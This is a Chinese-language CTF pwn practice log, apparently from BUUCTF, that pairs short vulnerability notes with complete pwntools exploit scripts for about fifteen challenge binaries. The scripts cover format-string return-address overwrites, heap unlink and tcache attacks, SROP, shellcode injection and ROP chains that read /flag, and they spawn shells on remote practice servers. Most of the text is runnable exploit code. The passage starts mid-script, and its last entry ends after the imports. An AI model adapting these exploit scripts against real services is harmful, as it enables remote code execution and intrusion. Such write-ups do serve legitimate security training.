sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
#retaddr-->system
for i in range(4):
      p.sendline(b'%'+str((stack-0xc+i)&0xff).encode()+b'c%6$hhn')
      p.sendline(b'%'+str((sys_addr>>8*i)&0xff).encode()+b'c%10$hhn')
#retaddr+8---->bin_sh
for i in range(4):
      p.sendline(b'%'+str((stack-4+i)&0xff).encode()+b'c%6$hhn')
      p.sendline(b'%'+str((bin_sh>>8*i)&0xff).encode()+b'c%10$hhn')

p.sendline(b'quit')
p.interactive()

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./playfmt"
#p=process(pwn)
p=remote("node5.buuoj.cn",27652)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so"

#---------------------------------------------------------------------------------------------------
#debug('b *0x8048515')
payload=b'%6$p.'
buf=0x804A060
p.sendline(payload.ljust(0x20,b'\x00')+asm(shellcraft.sh()))
stack=int(p.recvuntil(b'.')[-11:-1],16)
ret=stack-0x28
# ret -> shellcode_addr
shellcode_addr = buf + 0x5
payload = b'%' + str((ret + 0x1c) & 0xff).encode() + b'c%6$hhn'
p.sendline(payload)
payload = b'%' + str(shellcode_addr & 0xffff).encode() + b'c%10$hn'
p.sendline(payload)
# pwn
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.send(b'quit\x00' + asm(shellcraft.sh()))
p.interactive()

ciscn_2019_n_7

 保护全开,ida打开,菜单堆题,且在进入菜单之前会先mallo一个0x18大小的 chunk,ptr放在了bss段,创建堆块貌似只能创建一个,发送666 能泄露libc基址无free功能

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_n_7"
#p=process(pwn)
p=remote("node5.buuoj.cn","26961")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create(size,name):
     p.sendlineafter("Your choice-> \n",str(1))
     p.sendlineafter("Length: \n",str(size))
     p.sendafter("name:\n",name)

def edit(name,context):
     p.sendlineafter("Your choice-> \n",str(2))
     p.sendafter("name:\n",name)
     p.sendafter("contents:\n",context)

def show():
     p.sendlineafter("Your choice-> \n",str(2))


p.sendlineafter("Your choice-> \n",str(666))
libcbase=int(p.recv(14),16)-libc.sym['puts']
print(hex(libcbase))
exit_hook=libcbase+0x5f0040+3848
one=libcbase+0xf1147
create(0x20,b'a'*8+p64(exit_hook))
edit(b'a'*8,p64(one))

p.sendlineafter("Your choice-> \n",b'a')

p.interactive()

npuctf_2020_level2

 ida打开,开了PIE的格式化字符串漏洞,读取数据还是在bss段上,且没有嵌套函数,则rbp链太短

且修改不了got表,则还是先泄露程序基地址和libc基地址

p.sendline(b'%7$p.%9$p.%11$p.')
libcbase
=int(p.recvuntil(b'.')[-13:-1],16)-231-libc.sym['__libc_start_main'] stack=int(p.recvuntil(b'.')[-13:-1],16) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00' retaddr=stack-0xe0

 还是onegadget香,这里要注意先接受再去发送,不然会修改不成功

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./npuctf_2020_level2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25910)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")

#---------------------------------------------------------------------------------------------------
#Adebug('b $rebase*(0x7F0)')
p.sendline(b'%7$p.%9$p.')
libcbase=int(p.recvuntil(b'.')[-13:-1],16)-231-libc.sym['__libc_start_main']
stack=int(p.recvuntil(b'.')[-13:-1],16)
one_gadget = libcbase + 0x4f322
retaddr=stack-0xe0

p.sendlineafter(b'\n',b'%'+str((retaddr)&0xffff).encode()+b'c%9$hn')
p.sendlineafter(b'\x20\xb4\x0a',b'%'+str(one_gadget&0xff).encode()+b'c%35$hhn')

p.sendlineafter(b'\n',b'%'+str((retaddr+1)&0xffff).encode()+b'c%9$hn')
p.sendlineafter(b'\x20\xb4\x0a',b'%'+str((one_gadget>>8)&0xff).encode()+b'c%35$hhn')


p.sendlineafter(b'\n',b'%'+str((retaddr+2)&0xffff).encode()+b'c%9$hn')
p.sendlineafter(b'\x20\xb4\x0a',b'%'+str((one_gadget>>16)&0xff).encode()+b'c%35$hhn')

p.sendlineafter(b'\x20\xb4\x0a',b'66666666\x00')
p.interactive()

jarvisoj_level6_x64

 64位,ida打开,菜单堆题,四功能齐全,程序在开始运行前,会先分配一个0x1810大小的堆块,指针存放在bss段,chunk内容放0x100,之后将chunk内容+8的地址置0,之后调用循环,将该堆块内容+16和+24和32位的内容进行置0,循环了0x100次,相当于把列表清空的感觉,然后返回chunk的末位地址

 ,第一个功能,遍历展示,先对堆块进行判断,后进行循环256次,先判断chunk是否存在,存在即不断打印chunk的内容

 申请堆块的功能,但是最大好像只能申请4096大小的,但是依据23行,可以申请的chunk大小不再局限于4096

 存在uaf,删除功能中会进行标志位的删除,size的删除,指针释放,但是指针没有置0

 

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./freenote_x64"
#p=process(pwn)
p=remote("node5.buuoj.cn","29264")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def show():
     p.sendlineafter("Your choice: ",str(1))
     
def create(size,context):
     p.sendlineafter("Your choice: ",str(2))     
     p.sendlineafter("Length of new note: ",str(size))
     p.sendlineafter("Enter your note: ",context)

def edit(index,size,context):
     p.sendlineafter("Your choice: ",str(3))     
     p.sendlineafter("Note number: ",str(index))
     p.sendlineafter("Length of note: ",str(size))
     p.sendlineafter("Enter your note: ",context)

def delete(index):
     p.sendlineafter("Your choice: ",str(4)) 
     p.sendlineafter("Note number: ",str(index))


create(0x80,b'a'*0x80)  #chunk 0
create(0x80,b'a'*0x80)  #chunk 1
create(0x80,b'a'*0x80)  #chunk 2
create(0x10,b'a'*0x10)  #chunk 3

delete(0)
delete(2)
create(0x8,b'a'*8)  #chunk 0
show()
p.recvuntil(b'a'*8)
heap=u64(p.recv(4).ljust(8,b'\x00'))-0x1940+0x30
print(hex(heap))

delete(0)
delete(1)
delete(3)

create(0x20,p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10))  #chunk 0
payload=b'a'*0x80+p64(0x110)+p64(0x90)+b'a'*0x80+p64(0)+p64(0x91)+b'a'*0x80
create(len(payload),payload)
delete(2)
payload=p64(1)*2+p64(0x8)+p64(elf.got['atoi'])
edit(0,len(payload),payload)
show()
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,0x8,p64(sys_addr))

p.sendlineafter(b'choice: ', b'/bin/sh\x00')

#debug()
p.interactive()

[2020 新春红包题]3

 ida打开,菜单堆题,libc2.29,四功能齐全,且修改功能只有一个,还存在uaf漏洞,且堆块增加只有0x1c次

 且show功能的判断语句能够利用,则存在了uaf,可以tcache绕过,libc基地址泄露还是可以的

 创建功能只能选择固定大小的堆块,0x10,0xf,0x300,0x400四种大小,且创建大小的堆块利用calloc函数执行

 修改函数,只能修改一次,想想可以进行一些利用了,且申请里有大于0x100的选项

 存在后门函数

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./RedPacket_SoEasyPwn1"
#p=process(pwn)
p=remote("node5.buuoj.cn","25246")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-19-2.29.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
#-------------------------------------------------------------------------------------------------------
def create(index,size,context):
     p.sendlineafter("Your input: ",str(1))
     p.sendlineafter("idx: ",str(index))
     p.sendlineafter(": ",str(size))
     p.sendlineafter("content: ",context)

def delete(index):
     p.sendlineafter("Your input: ",str(2))
     p.sendlineafter("idx: ",str(index))

def edit(index,context):
     p.sendlineafter("Your input: ",str(3))
     p.sendlineafter("idx: ",str(index))
     p.sendlineafter("content: ",context)

def  show(index):
     p.sendlineafter("Your input: ",str(4))
     p.sendlineafter("idx: ",str(index))
#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(8):
     create(i,4,b'aaa')
create(8,1,b'aa')
for i in range(8):
     delete(i)
show(7)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print(hex(libc_base))
show(1)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1270
print(hex(heap_addr))

create(0,4,b'a')
for i in range(6):
     create(i,2,b'a')
create(6,1,b'a')
for i in range(6):
   delete(i)

create(3,3,b'a')
create(0,4,b'chunk0')
create(1,1,b'chunk1')
delete(0)
create(2,3,b'chunk2')
create(3,3,b'chunk3')

create(4,4,b'chunk4')
create(5,4,b'chunk5')
delete(4)
create(6,3,b'chunk6')
create(7,3,b'/flag\x00')

payload=b'\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x3f40)+p64(heap_addr+0x250+0x800)
edit(4,payload)
create(8,2,b'a')

rdi = libc_base + 0x26542
rsi = libc_base + 0x26f9e
rdx = libc_base + 0x12bda6
leave = libc_base + 0x58373
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

payload=p64(0)
payload+=p64(rdi)+p64(heap_addr+0x4ba0)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(heap_addr+0x270)+p64(rdx)+p64(0x50)+p64(read)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(heap_addr+0x270)+p64(rdx)+p64(0x50)+p64(write)
create(9,4,payload)

p.sendlineafter("Your input: ",str(666))
p.sendlineafter("say?",b'a'*0x80+p64(heap_addr+0x4eb0)+p64(leave))

#debug()
print(p.recv())

ciscn_2019_s_1

 菜单堆题,四功能齐全,申请的chunk大小有限制,0x80~0x100,libc2.27,同时在申请chunk的时候,会打印出chunk的地址

 修改函数,只能修改两次且会对指针进行检查

 打印功能,刚开始不能打印,我们要想办法将key2 的地址劫持,才能获得打印功能,所以前面能够进行的功能就增删改,PIE没开,应该是unlink,且修改函数的第16行末位置0,产生off by null漏洞

 不知道为啥,ida静态编译的时候,结构体是len,heap,一个存放chunk 的size,一个存放chunk的地址,但是动调的收发现,heap存放chunk的大小,pro存放的才是chunk的地址,真搞啊,本来一直想着通过unlink构造大于0x25c的chunk来覆盖结构体的大小,好既容易控制chunk的指向,又能操控key2和key1的大小,既能获得show功能,又能随意修改chunk的内容,但是这样我们就不用构造那么大的chunk了,只能说互有利弊,由于是ubuntu18的,则要多申请7个chunk填满tcache,同时这道题坑的点是虽然说给了索引让你填,但是存放位置依然是从结构体的第一个位置往下排。好好好,更加抽象的来了,原来能控制索引,但是第一个控制不了罢了,这下只能在0x6021e0的位置进行unlink了------OK,又研究了几分钟,这个索引是从0开始排列的,我申请的0x20的索引算是越界了,还是太菜了,能控制索引那就更好了

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_s_1"
#p=process(pwn)
p=remote("node5.buuoj.cn","25368")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(index,size,context=b'aaa\n'):
     p.sendlineafter("4.show\n",str(1))
     p.sendlineafter("index:\n",str(index))
     p.sendlineafter("size:\n",str(size))
     p.recvuntil("gift: ")
     heap=int(p.recv(7),16)
     p.sendafter("content:\n",context)
     return heap

def delete(index):
     p.sendlineafter("4.show\n",str(2))
     p.sendlineafter("index:\n",str(index))
     
def edit(index,context=b'aaaa\n'):
     p.sendlineafter("4.show\n",str(3))
     p.sendlineafter("index:\n",str(index))
     p.sendafter("content:\n",context)     

def show(index):
     p.sendlineafter("4.show\n",str(4))
     p.sendlineafter("index:\n",str(index))     


for i in range(1,8):
      create(i,0xf8)

create(32,0xf8)
create(9,0xf8)
create(10,0x80,b'/bin/sh\x00')
create(31,0x80)
for i in range(1,8):
       delete(i)

ptr=0x6021e0
edit(32,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'\x00'*0xd0+p64(0xf0))
delete(9)
edit(32,p64(0)*2+p64(elf.got['puts'])+p64(0x6021d8)+b'\x00'*0xd0+p32(1)+p32(0))
show(31)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']
edit(32,p64(free_hook)+p64(0x6021e0)+b'\x00'*0xd0+p64(0))
edit(31,p64(sys_addr)[:-1])
delete(10)

#debug()
p.interactive()

picoctf_2018_echo back

 格式化字符串漏洞,程序只执行一次,无pie的话且RELEO半开,则可改写got表,或者直接改写返回地址,gdb动调偏移为7

 修改printf的got改为system的got,后面又puts函数,将 这个函数的got表改为,vuln函数的(地址要选择好)

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./PicoCTF_2018_echo_back"
#p=process(pwn)
p=remote("node5.buuoj.cn",27791)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
vuln=0x080485DC
sys_addr=0x8048460
printf=elf.got['printf']
puts=elf.got['puts']
#debug()
#  4  8 60 84 85  dc
payload=b'%4c%29$hhn%33$hhn%4c%30$hhn%34$hhn%88c%27$hhn%36c%28$hhn%1c%32$hhn%87c%31$hhn'
payload=payload.ljust(0x50,b'a')+p32(printf)+p32(printf+1)+p32(printf+2)+p32(printf+3) #27
payload+=p32(puts)+p32(puts+1)+p32(puts+2)+p32(puts+3)
p.sendafter("message:\n",payload)
#pause()
p.send(b'/bin/sh\x00')
p.interactive()

360chunqiu2017_smallest

 程序就几行代码,栈溢出,利用sorp进行操作

 

看题解我们是先发送三个开始地址在栈上,第一次读入了三个返回开始的地址,然后再发送一个字节为\xb3,这个就是上图中的0x400b3,用于绕过rax的归0操作,让rax==1,则进行write的系统调用,则返回地址就被我们更改为0x400b3

 start=0x4000B0 syscall_ret=0x4000BE p.send(p64(start)*3) sleep(1) p.send(b'\xb3') 

 

如上图所示,我们填入的就是rsp所指向的地址,已经成功绕过,就可以系统调用write函数进行栈地址的泄露
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(stack))

泄露完了进行栈空间的布局

sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack
sigframe.rdx=0x400
sigframe.rsp=stack
sigframe.rip=syscall_ret #该地址是防止开始地址的xor rax,rax将rax置0

  p.send(p64(start)+b'a'*8+bytes(sigframe))

这个sigframe来进行栈空间的 布置,如上图已经布置在了栈上

开头的start地址第一个用来修改第二个开头地址并返回,第二个用来调用write函数,第三个用来继续读入开头地址和sigframe的结构

p.send(p64(syscall_ret)+b'a'*7) 调用了start之后进行rax的值改为0xf进行sigreturn,如下图所示,直接调用syscall进行srop

 接下来就是再一次的srop

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./smallest"
p=process(pwn)
#p=remote("node5.buuoj.cn",25816)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
debug('b *0x4000BE')
start=0x4000B0
syscall_ret=0x4000BE
p.send(p64(start)*3)
pause()
sleep(1)
#leak -->stack
p.send(b'\xb3')
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(stack))
pause()
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack
sigframe.rdx=0x400
sigframe.rsp=stack
sigframe.rip=syscall_ret

sleep(1)

p.send(p64(start)+b'a'*8+bytes(sigframe))
pause()
sleep(1)
p.send(p64(syscall_ret)+b'a'*7)
pause()
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack+0x120
sigframe.rsi=0
sigframe.rdx=0
sigframe.rcx=0
sigframe.rsp=stack
sigframe.rip=syscall_ret

frame=p64(start)+b'a'*8+bytes(sigframe)
payload=(frame)+b'\x00'*(0x120-0x108)+b'/bin/sh\x00'
sleep(1)
p.send(payload)
pause()
sleep(1)
p.send(p64(syscall_ret)+b'a'*7)
p.interactive()

inndy_echo2

 64位,ida打开,又是栈上格式化字符串利用,开了pie,但是可以修改got表,那就直接修改printf的got表为system函数的got表地址,但是要先泄露程序基址,找到偏移为6

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./echo2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25656)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
p.sendline(b'%41$p.%43$p.')
pro_base=int(p.recvuntil(b'.')[-13:-1],16)-0xa03
libcbase=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-240
sys_addr=elf.plt['system']+pro_base
printf=elf.got['printf']+pro_base
system=libcbase+libc.sym['system']
a=system&0xffff
b=(system>>16)&0xff
print(hex(system))
print(hex(a),hex(b))
p.sendline(b'%'+str(b).encode()+b'c%10$hhn%'+str(a-b).encode()+b'c%9$hn'+p64(printf)+p64(printf+2))
#debug()
sleep(1)
p.sendline(b'/bin/sh\x00')
p.interactive()

warmup

 程序少的可怜的,存在栈溢出,通过alarm函数特性,进行系统调用

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
#pwn="./gwctf_2019_easy_pwn"
#p=process(pwn)
p=remote("node5.buuoj.cn","29496")
#elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#-------------------------------------------------------------------------------------------------------
read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
data_addr = 0x80491BC
alarm_addr = 0x804810D
syscall = 0x804813a

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10)
p.sendafter(b'2016!\n', payload)
p.send(b'/flag\x00'.ljust(0x10, b'\x00'))

 # open

sleep(5)
payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0)
p.send(payload)

 # read

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x30)
p.send(payload)

 # write

payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data_addr) + p32(0x30)
p.send(payload)

p.recv()
p.recv()
p.recv()
print(p.recv())

hfctf_2020_marksman

 保护全开,ida打开,这道题刚开始就泄露了libc基地址给我们,往下看v6的值是由我们进行输入,那*(j+v6)的地址我们就可以进行操作,即获得了任意后三位地址交给我们填写的能力

 本来是想有无可能把返回地址修改为onegadget地址,但是下面的函数将onegadget禁用了

 但是看了wp才知道,one_gadget 原来可以调等级,不过利用的难度提升,这道题是调用onegadget的话,返回地址不够字节修改,我们只能修改libc的函数地址了,或者覆盖中间指针的形式

利用思路一:泄露puts函数地址,计算得到__rtld_lock_unlock_recursive(0x81df60)的偏移,修改__rtld_lock_unlock_recursive低三个字节为0x10a387

利用思路二:泄露puts函数地址,计算得到_dl_catch_error@plt+6地址,修改_dl_catch_error@plt+6(0x5f4038)地址为one_gadget(0xe569f)

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./hfctf_2020_marksman"
#p=process(pwn)
p=remote("node5.buuoj.cn",28902)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#---------------------------------------------------------------------------------------------------
p.recvuntil("near: ")
libcbase=int(p.recv(14),16)-libc.sym['puts']
print(hex(libcbase))
one_gadget = libcbase+ 0xe569f
_dl_catch_error_offset = 0x5f4038
target_addr = libcbase + _dl_catch_error_offset
print(hex(target_addr))
p.sendlineafter(b'shoot!shoot!\n', str(target_addr ))

for i in range(0, 24, 8):
      p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF))
p.interactive()

bctf2016_bcloud

上面有道题一模一样

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./bcloud_bctf_2016"
p=process(pwn)
#p=remote("node5.buuoj.cn",25087)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")

#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
     p.sendlineafter("option--->>\n",str(1))
     p.sendlineafter("content:\n",str(size))
     p.sendlineafter("content:\n",context)

def edit(index,context):
     p.sendlineafter("option--->>\n",str(3))
     p.sendlineafter("the id:\n",str(index))
     p.sendlineafter("new content:\n",context)

def delete(index):
     p.sendlineafter("option--->>\n",str(4))
     p.sendlineafter("the id:\n",str(index))
     
p.sendafter("your name:\n",b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap=u32(p.recv(4))
p.sendafter("Org:\n",b'a'*0x40)
p.sendlineafter("Host:\n",p32(0xffffffff))
top=heap+0xd0
chunkptr=0x804B120
create(chunkptr-top-0x20,b'a'*4)
create(0x20,b'a'*0x14+p32(elf.got['free'])+p32(elf.got['puts'])) #chunk 1
edit(1,p32(elf.plt['puts']))
#leak-->libcbase
delete(2)
puts_addr=u32(p.recv(4))
libcbase=puts_addr-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(1,p32(sys_addr))
create(0x10,b'/bin/sh\x00')
delete(2)
#debug()
p.interactive()

pwnable_simple_login

 我们只能输入0xc数据的长度,判定条件有两个,一个是bss段上的值要为一个特定的值,还有一个是auth函数里的base64加密为正确的

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./login"
p=process(pwn)
#p=remote("node5.buuoj.cn","28834")
#elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

#-------------------------------------------------------------------------------------------------------
backdor=0x8049284
payload=b'a'*4+p32(backdor)+p32(0x811eb40)
payload=base64.b64encode(payload)
p.sendlineafter("Authenticate : ",payload)
#debug()
p.interactive()

wustctf2020_babyfmt

 保护全开,ida打开,先是一个询问时间的函数,之后展示菜单,进入while循环,我们需要得到secret的内容

 通过leak函数进行泄露,但是是任意地址一字节,且要进行循环获取,但是开了pie,secret在bss段上

 通过这个函数存在的格式化字符串漏洞进行泄露程序基址

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./wustctf2020_babyfmt"
p=process(pwn)
p=remote("node5.buuoj.cn","26661")
#elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

#-------------------------------------------------------------------------------------------------------
p.sendlineafter("time:",str(11))
p.sendline(str(12))
p.sendline(str(11))
p.sendlineafter(">>",str(2))
p.sendline(b'%7$hhn%17$p.')
pro_base=int(p.recvuntil(b'.')[-13:-1],16)-0x102c
print(hex(pro_base))
flag=pro_base+0xf56
#debug('b $rebase(*0xEB8)')
p.sendlineafter(">>",str(2))
p.sendline(b'%7$hhn%16$p.')
ret=int(p.recvuntil(b'.')[-13:-1],16)-0x28
print(hex(ret))
p.sendlineafter(">>",str(2))
#pause()
p.sendline(b'%'+str(flag&0xffff).encode()+b'c%10$hnaaaa'+p64(ret))
p.recvuntil(b'flag')
p.interactive()

gwctf_2019_easy_pwn

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./gwctf_2019_easy_pwn"
#p=process(pwn)
p=remote("node5.buuoj.cn","28035")
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#-------------------------------------------------------------------------------------------------------
p.sendlineafter("name!\n",b'I'*0x10+p32(elf.plt['puts'])+p32(0x8049091)+p32(elf.got['puts']))
libcbase = u32(p.recvuntil(b'\xf7')[-4:]) - libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter("name!\n",b'I'*0x10+p32(sys_addr)+p32(0x8049091)+p32(bin_sh))
p.interactive()

[OGeek2019 Final]OVM

 

 是道虚拟机逃逸的题,之后有时间研究研究吧,代码看的晕头转向

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
